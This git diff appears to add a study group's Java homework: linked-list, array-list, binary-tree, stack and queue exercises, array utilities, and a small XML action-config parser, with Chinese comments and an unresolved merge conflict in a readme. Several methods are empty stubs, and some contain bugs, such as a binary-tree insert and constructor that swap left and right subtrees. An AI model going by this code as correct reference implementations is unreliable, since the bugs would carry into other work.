+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group23/729693763/homework1_demo/Iterator.java b/group23/729693763/homework1_demo/Iterator.java
new file mode 100644
index 0000000000..06ef6311b2
--- /dev/null
+++ b/group23/729693763/homework1_demo/Iterator.java
@@ -0,0 +1,7 @@
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group23/729693763/homework1_demo/LinkedList.java b/group23/729693763/homework1_demo/LinkedList.java
new file mode 100644
index 0000000000..4fdb03db8a
--- /dev/null
+++ b/group23/729693763/homework1_demo/LinkedList.java
@@ -0,0 +1,124 @@
+package com.coding.basic;
+
+
+
+public class LinkedList implements List {
+	
+	private Node head;
+	
+	public void add(Object o){
+		
+	}
+	public void add(int index , Object o){
+		
+	}
+	public Object get(int index){
+		return null;
+	}
+	public Object remove(int index){
+		return null;
+	}
+	
+	public int size(){
+		return -1;
+	}
+	
+	public void addFirst(Object o){
+		
+	}
+	public void addLast(Object o){
+		
+	}
+	public Object removeFirst(){
+		return null;
+	}
+	public Object removeLast(){
+		return null;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public  void reverse(){		
+		
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		
+	}
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数
+	 * 从当前链表中取出那些list所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public static int[] getElements(LinkedList list){
+		return null;
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在list中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+}
diff --git a/group23/729693763/homework1_demo/List.java b/group23/729693763/homework1_demo/List.java
new file mode 100644
index 0000000000..10d13b5832
--- /dev/null
+++ b/group23/729693763/homework1_demo/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/729693763/homework1_demo/Queue.java b/group23/729693763/homework1_demo/Queue.java
new file mode 100644
index 0000000000..36e516e266
--- /dev/null
+++ b/group23/729693763/homework1_demo/Queue.java
@@ -0,0 +1,19 @@
+package com.coding.basic;
+
+public class Queue {
+	
+	public void enQueue(Object o){		
+	}
+	
+	public Object deQueue(){
+		return null;
+	}
+	
+	public boolean isEmpty(){
+		return false;
+	}
+	
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/729693763/homework1_demo/Stack.java b/group23/729693763/homework1_demo/Stack.java
new file mode 100644
index 0000000000..a5a04de76d
--- /dev/null
+++ b/group23/729693763/homework1_demo/Stack.java
@@ -0,0 +1,22 @@
+package com.coding.basic;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){		
+	}
+	
+	public Object pop(){
+		return null;
+	}
+	
+	public Object peek(){
+		return null;
+	}
+	public boolean isEmpty(){
+		return false;
+	}
+	public int size(){
+		return -1;
+	}
+}
diff --git a/group23/729693763/readme.md b/group23/729693763/readme.md
new file mode 100644
index 0000000000..89b8633e07
--- /dev/null
+++ b/group23/729693763/readme.md
@@ -0,0 +1,12 @@
+Data Struct contain: ArrayList, LinkedList, BinaryTreeNode, Stack, Queue, Iterator
+<<<<<<< HEAD
+--- ---
+Add Blog link:
+http://www.cnblogs.com/CodeSaveMe/p/6523745.html
+=======
+--- --- 
+Add Blog link: http://www.cnblogs.com/CodeSaveMe/p/6523745.html
+
+Add week2 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6571621.html
+
+Add week3 Blog link:http://www.cnblogs.com/CodeSaveMe/p/6624431.html
diff --git a/group23/769232552/coding/src/main/java/code01/ArrayList.java b/group23/769232552/coding/src/main/java/code01/ArrayList.java
new file mode 100644
index 0000000000..6746de2a50
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/ArrayList.java
@@ -0,0 +1,138 @@
+package code01;
+
+/**
+ * Created by yaoyuan on 2017/3/6.
+ */
+public class ArrayList implements List {
+
+    private int max_size = 0;//总长度
+    private int current_size = 0; //当前长度
+    private float extendPercent = 2; //扩展系数
+
+    private Object[] elementData;
+
+    /**
+     * 默认构造函数，初始化数组长度为100
+     */
+    public ArrayList(){
+        this.elementData = new Object[100];
+        this.max_size = 100;
+    }
+    /**
+     * 构造函数
+     * @param size，初始化数组长度
+     */
+    public ArrayList(int size){
+        this.elementData = new Object[size];
+        this.max_size = size;
+    }
+
+    /**
+     * 顺序添加元素，超出原始界限时，数组自动扩展
+     */
+    public void add(Object o) {
+        //如果越界了，需要复制原有的数组到扩充后的数组中
+        if(this.current_size + 1 > this.max_size) {
+            this.max_size = (int) Math.floor(this.max_size * this.extendPercent);
+            this.elementData = copyToNew(this.elementData,this.max_size);
+        }
+        this.elementData[this.current_size] = o;
+        this.current_size ++;
+
+    }
+
+    /**
+     * 指定位置添加元素
+     * 一种是在中间，一种是当前插入的位置尾部(如果超过尾部则默认添加到尾部)
+     */
+    public void add(int index, Object o){
+        assert(index>=0);
+        //如果越界了，需要复制原有的数组到扩充后的数组中
+        if(this.current_size + 1 > this.max_size) {
+            //如果越界了，需要复制原有的数组到扩充后的数组中
+            this.max_size = (int) Math.floor(this.max_size * this.extendPercent);
+            this.elementData = copyToNew(this.elementData,this.max_size);
+        }
+        //数组中间插入
+        if(index < this.current_size){
+            //需要把当前位置的元素往后移动
+            for (int i = this.current_size - 1; i >= index; i--) {
+                this.elementData[i+1] = this.elementData[i];
+            }
+            this.elementData[index] = o;
+        }else {
+            //后面加入
+            this.elementData[this.current_size] = o;
+        }
+        this.current_size ++;
+    }
+
+    public Object get(int index){
+        if(index >= 0 && index <= this.current_size-1){
+            return this.elementData[index];
+        }else {
+            throw new ArrayIndexOutOfBoundsException(index);
+        }
+    }
+
+    /**
+     * 删除指定位置的元素
+     * @param index
+     * @return
+     */
+    public Object remove(int index){
+        Object result = null;
+        if(index >= 0 && index <= current_size-1){
+            result = elementData[index];
+            //删除操作
+            if(index == current_size - 1){
+                elementData[index] = null;
+            }else {
+                //需要把当前位置后面的元素往前移动
+                for (int i = index; i < this.current_size-1 ; i++) {
+                    this.elementData[i] = this.elementData[i+1];
+                }
+                this.elementData[this.current_size-1] = null;
+            }
+            this.current_size --;
+        }else {
+            throw new ArrayIndexOutOfBoundsException(index);
+        }
+        return result;
+    }
+
+    public int size(){
+        return this.current_size;
+    }
+
+    public Iterator iterator(){
+        return new Iterator() {
+            int next_pos = 0;
+            int pos = -1;
+            public boolean hasNext() {
+                if(max_size <= 0){
+                    return false;
+                }
+                return next_pos < ArrayList.this.size();
+            }
+
+            public Object next() {
+                Object next = ArrayList.this.get(next_pos);
+                pos = next_pos ++;
+                return next;
+            }
+            public void remove(){
+                ArrayList.this.remove(pos);
+            }
+        };
+    }
+
+    private Object[] copyToNew(Object[] oldArray, int extendSize){
+        Object[] newArray = new Object[extendSize];
+        for (int i = 0; i < size(); i++) {
+            newArray[i] = oldArray[i];
+        }
+        return newArray;
+    }
+
+}
\ No newline at end of file
diff --git a/group23/769232552/coding/src/main/java/code01/BinaryTree.java b/group23/769232552/coding/src/main/java/code01/BinaryTree.java
new file mode 100644
index 0000000000..b29fb960cb
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/BinaryTree.java
@@ -0,0 +1,97 @@
+package code01;
+
+/**
+ * Created by yaoyuan on 2017/3/10.
+ */
+public class BinaryTree<T extends Comparable<T>>{
+
+    private BinaryTreeNode root = null;
+    private int size = 0;
+
+    public BinaryTreeNode createBinaryTree(T[] array){
+        for(T data : array){
+            this.insert(data);
+        }
+        return this.root;
+    }
+
+    // recursive way,
+    // t is the node that roots the subtree.
+    public BinaryTreeNode<T> insert(T data, BinaryTreeNode t){
+        if(t == null){
+            return new BinaryTreeNode<T>(data);
+        }
+        int comparator = ((T) t.data).compareTo(data);
+        if(comparator > 0){
+            t.left = insert(data,t.right);
+        }else if(comparator < 0){
+            t.right = insert(data,t.left);
+        }else {
+            // do nothing
+        }
+        return t;
+
+    }
+
+
+    //loop way
+    public void insert(T data){
+        if(this.root == null){
+            BinaryTreeNode node = new BinaryTreeNode(data);
+            this.root = node;
+            this.size ++;
+            return;
+        }
+        BinaryTreeNode cursor = this.root;
+        while (cursor != null){
+            if(data.compareTo((T) cursor.data) <= 0){
+                if(cursor.left == null) {
+                    cursor.left = new BinaryTreeNode(data);
+                    return;
+                }
+                cursor = cursor.left;
+            }
+            if(data.compareTo((T) cursor.data) > 0){
+                if(cursor.right == null) {
+                    cursor.right = new BinaryTreeNode(data);
+                    return;
+                }
+                cursor = cursor.right;
+            }
+        }
+        this.size ++;
+    }
+
+    public void leftOrderScan(BinaryTreeNode cursor){
+        if(cursor == null){
+            return;
+        }
+        leftOrderScan(cursor.left);
+        System.out.println(cursor.data.toString() + " ");
+        leftOrderScan(cursor.right);
+    }
+
+    public BinaryTreeNode getRoot(){
+        return this.root;
+    }
+
+    class BinaryTreeNode<T> {
+
+        private T data;
+        private BinaryTreeNode left;
+        private BinaryTreeNode right;
+
+        public BinaryTreeNode(T data, BinaryTreeNode left, BinaryTreeNode right) {
+            this.left = right;
+            this.right = left;
+            this.data = data;
+        }
+
+        public BinaryTreeNode(T data) {
+            this.left = null;
+            this.right = null;
+            this.data = data;
+        }
+
+    }
+}
diff --git a/group23/769232552/coding/src/main/java/code01/Iterator.java b/group23/769232552/coding/src/main/java/code01/Iterator.java
new file mode 100644
index 0000000000..b4074067bb
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/Iterator.java
@@ -0,0 +1,7 @@
+package code01;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+	public void remove();
+}
diff --git a/group23/769232552/coding/src/main/java/code01/LinkedList.java b/group23/769232552/coding/src/main/java/code01/LinkedList.java
new file mode 100644
index 0000000000..f7bbc970a9
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/LinkedList.java
@@ -0,0 +1,327 @@
+package code01;
+
+
+public class LinkedList implements List {
+
+	private Node head;
+    private Node tail; //指向链表最后一个元素的引用
+
+    private int size; //总长度
+
+    public LinkedList() {
+        this.head = null;
+        this.tail = null;
+        this.size = 0;
+    }
+
+    /**
+     * 新增顺序添加一个元素
+     * @param o
+     */
+    public void add(Object o){
+        Node node = new Node();
+        node.data = o;
+        node.next = null;
+        //空链表
+        if(head == null){
+            this.head = node;
+            this.tail = node;
+        }else { //非空链表，要先找到链表尾部，再加入新解答
+            this.tail.next = node;
+            this.tail = node;
+        }
+        this.size ++;
+	}
+
+    /**
+     * 指定索引处添加node
+     */
+    public void add(int index, Object o) {
+        assert(index >= 0);
+        Node node = new Node();
+        node.data = o;
+        node.next = null;
+
+        if(index == 0){
+            //添加在头部
+            node.next = head;
+            head = node;
+        }else if(index >= this.size){
+            //添加在尾部
+            this.tail.next = node;
+        }else {
+            //添加在中间
+            Node cursor = this.head;
+            for (int i = 0; i < index - 1; i++) {
+                cursor = cursor.next;
+            }
+            node.next = cursor.next;
+            cursor.next = node;
+        }
+        this.size ++;
+    }
+
+	public Object get(int index){
+		assert(index < this.size);
+        Node cursor = this.head;
+        for (int i = 0; i < index; i++) {
+            cursor = cursor.next;
+        }
+        return  cursor.data;
+	}
+
+	public Object remove(int index){
+        assert(index >= 0 && index < this.size);
+        Object result = null;
+        //删除的是链表尾部的元素
+        if(index == this.size - 1){
+            Node cursor = this.head;
+            for (int i = 0; i < index - 1; i++) {
+                cursor = cursor.next;
+            }
+            result = cursor.next.data;
+            tail = cursor;
+            cursor.next = null;
+        }else if(index == 0){
+            //删除的是头部元素
+            result = head.data;
+            head = head.next;
+        }else {
+            //删除的是链表中间的元素
+            Node cursor = this.head;
+            for (int i = 0; i < index - 1; i++) {
+                cursor = cursor.next;
+            }
+            result = cursor.next.data;
+            cursor.next = cursor.next.next;
+        }
+        this.size --;
+        return result;
+	}
+
+	public int size(){
+		return this.size;
+	}
+
+	public void addFirst(Object o){
+        Node node = new Node();
+        node.data = o;
+        node.next = null;
+        if(this.head == null){
+            this.head = node;
+            this.tail = node;
+        }else {
+            node.next = head;
+            this.head = node;
+        }
+        this.size ++;
+	}
+	public void addLast(Object o){
+        Node node = new Node();
+        node.data = o;
+        node.next = null;
+        if(this.head == null){
+            this.head = node;
+            this.tail = node;
+        }else {
+            this.tail.next = node;
+            this.tail = node;
+        }
+        this.size ++;
+    }
+
+	public Object removeFirst(){
+		Object first = null;
+        if(this.head != null){
+            first = this.head.data;
+            head = head.next;
+            this.size --;
+        }
+        return first;
+	}
+
+	public Object removeLast(){
+		Object last = null;
+        if(this.tail != null){
+            if(this.head != this.tail){
+                Node cursor;
+                for (cursor = head;cursor.next!=tail;cursor=cursor.next);
+                last = this.tail.data;
+                this.tail = cursor;
+                this.tail.next = null;
+            }else {
+                last = this.tail.data;
+                this.head = null;
+                this.tail = null;
+            }
+            this.size --;
+        }
+        return last;
+	}
+	public Iterator iterator(){
+		return null;
+	}
+
+    /**
+     * 节点类
+     */
+    private static class Node{
+		Object data;
+		Node next;
+
+	}
+
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public void reverse(){
+        if(this.head == null || this.head == this.tail){
+            return;
+        }
+
+        Node pre_cursor = null;
+        Node cursor = this.head;
+        Node after_cursor = cursor.next;
+
+        while(cursor != null){
+            cursor.next = pre_cursor;
+            pre_cursor = cursor;
+            cursor = after_cursor;
+            if(after_cursor != null){
+                after_cursor = after_cursor.next;
+            }
+        }
+
+        Node tmpNode = this.head;
+        this.head = this.tail;
+        this.tail = tmpNode;
+	}
+
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public void removeFirstHalf(){
+        if(this.head == null || this.head.next == null){
+            return;
+        }
+        if(this.head.next.next == null){
+            this.head = this.head.next;
+        }
+
+        Node stepOne = this.head;
+        Node stepTwo = this.head;
+
+        while (stepTwo.next != null){
+            stepOne = stepOne.next;
+            stepTwo = stepTwo.next.next;
+        }
+        this.head = stepOne;
+	}
+
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public void remove(int i, int length){
+        Node current = head;
+        Node firstHalf = null;
+        for (int k = 0; k < i; k ++){
+            if(current == null){
+                return;
+            }
+            firstHalf = current;  //记录待删除节点的前一个节点
+            current = current.next;
+        }
+
+        //移动length长度
+        for (int j = 0; j < length; j++) {
+            if(current == null){
+                return;
+            }
+            current = current.next;
+        }
+
+        if(i == 0){
+            head = current;
+        }else {
+            firstHalf.next = current;
+        }
+    }
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数
+	 * 从当前链表中取出那些list所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]
+	 * @param list
+	 */
+	public static int[] getElements(LinkedList list){
+		return null;
+	}
+
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在list中出现的元素
+
+	 * @param list
+	 */
+
+	public  void subtract(LinkedList list){
+
+	}
+
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public void removeDuplicateValues(){
+        if(this.head == null){
+            return;
+        }
+        Node current = this.head;
+        Node current_next = this.head;
+        while (current_next != null){
+            current_next = current_next.next; //如果放到下个while循环后面写，就需要判断一次current_next是不是null了
+            while(current_next != null && current_next.data.equals(current.data)){
+                //删除重复节点
+                current.next = current_next.next;
+                current_next = current_next.next;
+            }
+            current = current_next;
+        }
+	}
+
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+        //怎么才能高效呢
+	}
+
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		return null;
+	}
+
+    /**
+     * 遍历列表
+     */
+    public void printList(){
+        System.out.println();
+        for (Node cursor = this.head;cursor!=null;cursor=cursor.next){
+            System.out.print(cursor.data+" ");
+        }
+    }
+}
diff --git a/group23/769232552/coding/src/main/java/code01/List.java b/group23/769232552/coding/src/main/java/code01/List.java
new file mode 100644
index 0000000000..95bc37d172
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/List.java
@@ -0,0 +1,9 @@
+package code01;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group23/769232552/coding/src/main/java/code01/Queue.java b/group23/769232552/coding/src/main/java/code01/Queue.java
new file mode 100644
index 0000000000..d9956deb9a
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/Queue.java
@@ -0,0 +1,24 @@
+package code01;
+
+public class Queue {
+
+	private LinkedList linkedList = new LinkedList();
+
+	public void enQueue(Object o){
+		linkedList.addFirst(o);
+	}
+	
+	public Object deQueue(){
+		Object result = linkedList.removeLast();
+		return result;
+	}
+	
+	public boolean isEmpty(){
+		return linkedList.size() == 0;
+	}
+	
+	public int size(){
+		return linkedList.size();
+	}
+
+}
diff --git a/group23/769232552/coding/src/main/java/code01/Stack.java b/group23/769232552/coding/src/main/java/code01/Stack.java
new file mode 100644
index 0000000000..dbaeb91a48
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code01/Stack.java
@@ -0,0 +1,31 @@
+package code01;
+
+public class Stack {
+	private ArrayList elementData = new ArrayList();
+	
+	public void push(Object o){
+		elementData.add(o);
+	}
+	
+	public Object pop(){
+		Object result = null;
+		if(elementData.size()!=0) {
+			result = elementData.remove(elementData.size() - 1);
+		}
+		return result;
+	}
+	
+	public Object peek(){
+		Object result = null;
+		if(elementData.size()!=0) {
+			result = elementData.get(elementData.size() - 1);
+		}
+		return result;
+	}
+	public boolean isEmpty(){
+		return elementData.size() == 0;
+	}
+	public int size(){
+		return elementData.size();
+	}
+}
diff --git a/group23/769232552/coding/src/main/java/code02/ArrayUtil.java b/group23/769232552/coding/src/main/java/code02/ArrayUtil.java
new file mode 100644
index 0000000000..23055ef138
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/ArrayUtil.java
@@ -0,0 +1,257 @@
+package code02;
+import org.apache.commons.lang.ArrayUtils;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin){
+		if (origin == null || origin.length <= 1){
+			return;
+		}
+
+		int head = 0;
+		int tail = origin.length - 1;
+		int tmp;
+		while (head != tail){
+			//调换位置
+			tmp = origin[head];
+			origin[head] = origin[tail];
+			origin[tail] = tmp;
+
+            head ++;
+            tail --;
+		}
+
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	public int[] removeZero(int[] oldArray){
+		if (oldArray == null || oldArray.length < 1){
+			return null;
+		}
+
+		List<Integer> newList = new ArrayList<Integer>();
+		for(int number : oldArray){
+			if(number != 0){
+				newList.add(number);
+			}
+		}
+
+        Integer[] result = new Integer[newList.size()];
+        result = (Integer[]) newList.toArray(result);
+        return ArrayUtils.toPrimitive(result);
+
+
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2){
+        if(array1 == null && array2 == null){
+            return null;
+        }
+        if(array1 == null){
+            return array2;
+        }
+        if(array2 == null){
+            return array1;
+        }
+        int[] newArray = new int[array1.length + array2.length];
+        int m = 0,n = 0, k = 0;
+        while (m < array1.length && n < array2.length){
+            if(array1[m] <= array2[n]){
+                newArray[k++] = array1[m++];
+            }else {
+                newArray[k++] = array2[n++];
+            }
+        }
+        if(m >= array1.length){
+            while (n < array2.length){
+                newArray[k++] = array2[n++];
+            }
+        }
+        if(n >= array2.length){
+            while (m < array1.length){
+                newArray[k++] = array1[m++];
+            }
+        }
+		return  newArray;
+	}
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+        int[] newArray = new int[oldArray.length + size];
+        int i = 0;
+        for (; i < oldArray.length; i++) {
+            newArray[i] = oldArray[i];
+        }
+        for (int j = 0; j < size; j++){
+            newArray[i++] = 0;
+        }
+        return newArray;
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+    //也就是需要生成一个小于max值的fibonacci数组
+	public int[] fibonacci(int max){
+        if(max < 2){
+            return new int[]{};
+        }
+        if(max < 3){
+            return new int[]{1,1};
+        }
+        List<Integer> list = new ArrayList<Integer>();
+        list.add(0,1);
+        list.add(1,1);
+        int i=0;
+        while (list.get(i) + list.get(i+1) < max){
+            list.add(i+2,list.get(i) + list.get(i+1));
+            i++;
+        }
+
+        int[] newArray = new int[list.size()];
+        for (int j = 0; j < list.size(); j++) {
+            newArray[j] = list.get(j).intValue();
+        }
+        return newArray;
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+     *
+     * 原理：
+     * １，判断一个数字是否为素数，一个数 n 如果是合数，那么它的所有的因子不超过sqrt(n)
+     * ２，当i是素数的时候，i的所有的倍数必然是合数。
+	 */
+	public int[] getPrimes(int max){
+
+        if(max <= 2){
+            return null;
+        }
+        boolean[] prime = new boolean[max + 1];
+        for (int i = 2; i <= max; i++) {
+            if(i%2 == 0){
+                prime[i] = false; //偶数
+            }else {
+                prime[i] = true;
+            }
+        }
+
+        for (int i = 2; i <= Math.sqrt(max) ; i++) {
+            if(prime[i]){//奇数
+                //如果i是素数，那么把i的倍数标记为非素数
+                for(int j = i+i; j <= max; j += i){
+                    prime[j] = false;
+                }
+            }
+        }
+
+        List num = new ArrayList<Integer>();
+        for (int i = 2; i <= max; i++) {
+            if(prime[i]){
+                num.add(i);
+            }
+        }
+
+        Integer[] result = new Integer[num.size()];
+        result = (Integer[]) num.toArray(result);
+        return ArrayUtils.toPrimitive(result);
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+
+        if(max < 6){
+            return null;
+        }
+
+        List<Integer> perfectNumlist = new ArrayList<Integer>();
+
+        for (int j = 6;j <= max; j++){
+            List<Integer> factorNumlist = new ArrayList<Integer>();
+            factorNumlist.add(1);
+            for (int i = 2; i < j; i++) {
+                if(j % i == 0){
+                    factorNumlist.add(i);
+                }
+            }
+            int sum = 0;
+            for(Integer num : factorNumlist){
+                sum += num;
+            }
+
+            if(sum == j){
+                perfectNumlist.add(j);
+            }
+        }
+        Integer[] result = new Integer[perfectNumlist.size()];
+        result = (Integer[]) perfectNumlist.toArray(result);
+        return ArrayUtils.toPrimitive(result);
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param seperator
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+        StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < array.length - 1; i++) {
+            sb.append(array[i]);
+            sb.append(seperator);
+        }
+        sb.append(array[array.length - 1]);
+        return sb.toString();
+	}
+
+    public void printArr(int[] array){
+        for(int num : array){
+            System.out.print(num + " ");
+        }
+    }
+
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java b/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
new file mode 100644
index 0000000000..b5e077e7a5
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/ActionConfig.java
@@ -0,0 +1,28 @@
+package code02.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by yaoyuan on 2017/3/22.
+ */
+public class ActionConfig {
+    String name;
+    String clzName;
+    Map<String,String> viewResult = new HashMap<String,String>();
+
+
+    public ActionConfig(String actionName, String clzName) {
+        this.name = actionName;
+        this.clzName = clzName;
+    }
+    public String getClassName(){
+        return clzName;
+    }
+    public void addViewResult(String name, String viewName){
+        viewResult.put(name, viewName);
+    }
+    public String getViewName(String resultName){
+        return viewResult.get(resultName);
+    }
+}
diff --git a/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java b/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
new file mode 100644
index 0000000000..85d3d98a1f
--- /dev/null
+++ b/group23/769232552/coding/src/main/java/code02/litestruts/Configuration.java
@@ -0,0 +1,64 @@
+package code02.litestruts;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+import java.io.File;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+
+/**
+ * Created by yaoyuan on 2017/3/21.
+ */
+public class Configuration {
+
+
+    private String path;
+    private final Map<String, ActionConfig> actionMap = new HashMap<String, ActionConfig>();
+
+    Configuration(String path){
+        parseXML(path);
+    }
+
+    //解析xml文件
+    private void parseXML(String path){
+        //读取文件
+        File file = new File(path);
+        SAXReader reader = new SAXReader();
+        Document document = null;
+        try {
+            document = reader.read(file);
+        } catch (DocumentException e) {
+            e.printStackTrace();
+        }
+        Element root = document.getRootElement();
+
+        for (Iterator<Element> iterator = root.elementIterator("action"); iterator.hasNext();) {
+            Element e = iterator.next();
+            String actionName = e.attributeValue("name");
+            String clazName = e.attributeValue("class");
+            ActionConfig actionConfig = new ActionConfig(actionName,clazName);
+            for(Iterator<Element> childIterator = e.elementIterator();childIterator.hasNext();){
+                Element child = childIterator.next();
+                String jspKey = child.attributeValue("name");
+                String jspValue = child.getTextTrim();
+                actionConfig.addViewResult(jspKey,jspValue);
+            }
+            actionMap.put(actionName,actionConfig);
+        }
+    }
+
+    public String getView(String actionName, String result){
+        String jspKey = actionName + "." + result;
+        return actionMap.get(actionName).getViewName(result);
+    }
+
+
+    public Map<String, ActionConfig> getActionMap() {
+        return actionMap;
+    }
+
+}
